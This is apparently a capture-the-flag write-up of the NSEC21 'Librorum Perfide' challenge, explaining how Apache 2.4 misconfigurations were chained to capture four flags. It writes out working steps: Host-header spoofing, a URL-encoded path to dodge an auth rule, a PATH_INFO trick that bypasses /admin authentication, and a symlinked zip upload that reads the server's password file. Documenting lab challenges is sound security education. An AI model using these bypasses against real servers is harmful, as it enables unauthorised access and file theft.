Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC21 Librorum Perfide - Tue, May 25, 2021 - Jean Privat Marcan

Knowledge is power, France is bacon, RTFM | Misc | Nsec21

This was a really nice challenge about various (mis)configurations of an Apache2.4 web server.

Enter The Library

The Librorum Perfide is a novel way to share books and other content! Better than the library of Alexandria! Check here to see what is currently availlable.

We have a website. A /upload directory with a single file x.php non executed, but we have the source!

<?php 
phpinfo();
?>

There is also two links /admin and /backup that are password protected.

And that’s all.

…

Nothing else.

Ask For A Librarian

For some hours we did nothing. Then come back and run tachyon (yeah, I’m old school and just don’t know what kind of tools cool kids are using since I told them to get out of my lawn).

And .htaccess was discovered to be accessible.

Ook?

$ curl http://librorum.ctf/.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
# rewrite server and backup in this folder
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^server "/var/www/html/server/" [NC] 
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^backup "/var/www/html/backup/" [NC] 
# server only on localhost endpoints
RewriteCond %{SERVER_NAME} !server.localhost [NC]
RewriteRule ^server - [R=403,L]
# rewrite to index
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ "/var/www/html/" [L]
</IfModule>

So, what is this mess? Just sit down and read a book.

Do Public Libraries Accept Non-Residents?

The following lines are nice:

RewriteCond %{SERVER_NAME} !server.localhost [NC]
RewriteRule ^server - [R=403,L]

Basically, there is a /server path only accessible for people that asks for the host server.localhost. Obviously, there is no check and the server let anyone enter if they ask for the right server.

$ wget --header 'host: server.localhost' -m http://librorum.ctf/server/

Et voilĂ .

/server is a browsable directory with some nice things related to the server.

  • access.log a 20MB big log of Apache requests (because we filled it with tachyon and possibly other enumeration attempts). Usually these kind of files reside in /var/log/apache2/, but whatever…
  • main.php that seems to just run phpinfo() (maybe our old friend x.php?). It means that this directory does execute php scripts.
  • vhost.conf an Apache2 site configuration. Usually they live in /etc/apache2/sites-available/.

Thanks server!

Travel Through L-space

Here we are.

$ cat vhost.conf
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	



	#flag-RobMcCoolWasHere	



	#ServerName www.example.com
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html/

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn
	ErrorLog ${APACHE_LOG_DIR}/error.log
	SetEnvIf Request_URI "(^.*$)" REQUEST_URI=$1
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	# Write logs so that we can see them on the web
	CustomLog /var/www/html/server/access.log combined

	<IfModule mod_rewrite.c>
		RewriteEngine on
		
		RewriteCond %{THE_REQUEST} /backup
		RewriteRule ^ - [E=require_auth:true,END]
		
		# Only allow if from localhost
		RewriteCond %{SERVER_NAME} server.localhost
		# Make the server-status work (unfortunate clash with protected /server folder)
		RewriteRule /server-status - [END]
		
		# Make sure admin is protected
		RewriteRule /admin - [E=require_auth:true,END]
	</IfModule>

	<Directory /var/www/html/backup/>
		AllowOverride None
		<FilesMatch \.php$>
		        SetHandler plain/text 
		</FilesMatch>
	</Directory>

	<Directory /var/www/html/upload/>
		<FilesMatch ".+$">
			SetHandler plain/text
		</FilesMatch>
		Options FollowSymLinks Indexes
		AllowOverride None
	</directory>
	<Directory /var/www/html/>
		AuthUserFile /flag
		AuthName "Please Enter Password"
		AuthType Basic
		
		# Setup a deny/allow
		Order Deny,Allow
		# Deny from everyone
		Deny from all
		# except if either of these are satisfied
		Satisfy any
		# 1. a valid authenticated user
		Require valid-user
		# or 2. the "require_auth" var is NOT set
		Allow from env=!require_auth
	</Directory>
	

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

What we have

  • A first flag (1/4)!
  • /backup and /admin require auth (although with two distinct pieces of configuration). With flags?
  • /upload and /backup don’t execute .php scripts (although with two slightly different syntax).
  • /server-status is accessible for local resident.
  • /upload does follow symlinks.
  • And another flag at the root of the file system (/flag).

Hum.

Libraries Are Mostly Old Dusty Stuff

Let’s go with the following lines

RewriteCond %{THE_REQUEST} /backup
RewriteRule ^ - [E=require_auth:true,END]

If the request matches /backup then require auth. What is weird is not requiring auth inside <Directory /var/www/html/backup/> and also the use of THE_REQUEST.

According to the documentation (RTFM)

THE_REQUEST The full HTTP request line sent by the browser to the server (e.g., “GET /index.html HTTP/1.1”). This does not include any additional headers sent by the browser. This value has not been unescaped (decoded), unlike most other variables below.

Ok, so this tries to match something in the first HTTP line, verbatim, including escaped character like %20. It means that the unescaping is done after the matching so we can access backup without literally using the string backup.

$ wget -m http://librorum.ctf/b%61ckup/

Nice.

You Cannot Scribble in Books From The Library

Inside the backup directory, there is only a single file upload.php (not executable) with a flag #FLAG-Un1c0d3isFun (2/4). Indeed, unicode is fun, but urlencoding is serious business.

upload.php also contains the script to upload files. With possibly some data exfiltation or remote code executions once we can upload things.

But we cannot execute the script. We need to find a way to execute something useful.

Each His Own Way, Each His Own Path…

… Each His Own Dream, Each His Own Destiny — Uncle David

Access logs are customized. There is the detail about 3 things: the requested URI, the path info and if auth is required.

2001:470:b2b5:2050:1::1008 - - [22/May/2021:18:31:02 +0000] "GET / HTTP/1.1" 200 1024 REQUEST_URI:/ PATH_INFO:- require_auth:-

What is the damn PATH_INFO?

AcceptPathInfo Directive

This directive controls whether requests that contain trailing pathname information that follows an actual filename (or non-existent file in an existing directory) will be accepted or rejected. The trailing pathname information can be made available to scripts in the PATH_INFO environment variable.

For example, assume the location /test/ points to a directory that contains only the single file here.html. Then requests for /test/here.html/more and /test/nothere.html/more both collect /more as PATH_INFO.

[…]

Default The treatment of requests with trailing pathname information is determined by the handler responsible for the request. The core handler for normal files defaults to rejecting PATH_INFO requests. Handlers that serve scripts, such as cgi-script and isapi-handler, generally accept PATH_INFO by default.

Note that the php handler also accept PATH_INFO by default. (thanks php)

But what about RewriteRule do they match the whole path including the PATH_INFO?

DPI|discardpath. The DPI flag causes the PATH_INFO portion of the rewritten URI to be discarded. In per-directory context, the URI each RewriteRule compares against is the concatenation of the current values of the URI and PATH_INFO. The current URI can be the initial URI as requested by the client, the result of a previous round of mod_rewrite processing, or the result of a prior rule in the current round of mod_rewrite processing.

So by default, PATH_INFO is considered when applying RewriteRule. But our issue is not to apply some rule, but to stop applying the one that force authentication.

RewriteRule /admin - [E=require_auth:true,END]

If only there was a way to stop applying RewriteRule!

END. Using the [END] flag terminates not only the current round of rewrite processing (like [L]) but also prevents any subsequent rewrite processing from occurring in per-directory (htaccess) context.

We can use this piece of new knowledge. [END] is used just above with a RewriteRule that does not activate auth.

# Only allow if from localhost
RewriteCond %{SERVER_NAME} server.localhost
# Make the server-status work (unfortunate clash with protected /server folder)
RewriteRule /server-status - [END]

# Make sure admin is protected
RewriteRule /admin - [E=require_auth:true,END]

Indeed. Clash there is…

So we can try to access some php script inside /admin directory if we provide /server-status as PATH_INFO that will likely be ignored by the php script. Lets try /admin/upload.php since there is a /backup/upload.php. Note: We still need the server.localhost host header.

$ curl --header 'host: server.localhost' http://librorum.ctf/admin/upload.php/server-status

It works! But there’s no flag… We can try to access the classic index.php file.

$ curl --header 'host: server.localhost' http://librorum.ctf/admin/index.php/server-status

Here’s our flag (3/4): flag-YouGetAdminEveryOneGetsAdmin

Zipping Through The Library

Now we can upload files inside the /upload directory but only zipfiles.

We skip most of the contents of the upload.php source (that we got from /b%61ckup/upload.php) and show only the interesting part:

if (strpos($_FILES['fileToUpload']['name'],'402051F4BE0CC3AAD33BCF3AC3D6532B')!== FALSE) {
    $x = system('unzip -d /var/www/html/upload '.$_FILES['fileToUpload']['tmp_name'] );
}

The zip will be extracted only when the file is named 402051F4BE0CC3AAD33BCF3AC3D6532B.zip (not that much a challenge). But even if there is some php file inside, we cannot execute them.

We had two ideas:

  • add a .htaccess in the zipfile to change the rules (boring!)
  • add a symbolic link inside the zipfile to access some random places like / or directly /flag (the Apache AuthUserFile). Note: the option --symlinks is required when creating an archive and preserve symlinks but nothing is required to extract such an archive.
$ ln -s /flag
$ zip 402051F4BE0CC3AAD33BCF3AC3D6532B.zip --symlinks flag

Once your zip file is created, you can upload it to the server:

POST /admin/upload.php/server-status HTTP/1.1
Host: server.localhost
Content-Type: multipart/form-data; boundary=---------------------------413626074336049382122189072119
Content-Length: 544
Connection: close

-----------------------------413626074336049382122189072119
Content-Disposition: form-data; name="fileToUpload"; filename="402051F4BE0CC3AAD33BCF3AC3D6532B.zip"
Content-Type: application/zip
...

If everything went right, the symlink to /flag should be extracted and available in the /upload directory.

$ curl http://librorum.ctf/upload/flag

Well done, we got the last flag (4/4) flag-7829c7bf330887e719601ea2d457e336

Acknowledgments

This challenge was insane, hours reading the doc, trying various things, eliminating the impossible and keeping the improbable truth. So thanks to Klam, Fob, Sideni and Mathieu.

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2024-05-31 | theme hugo.386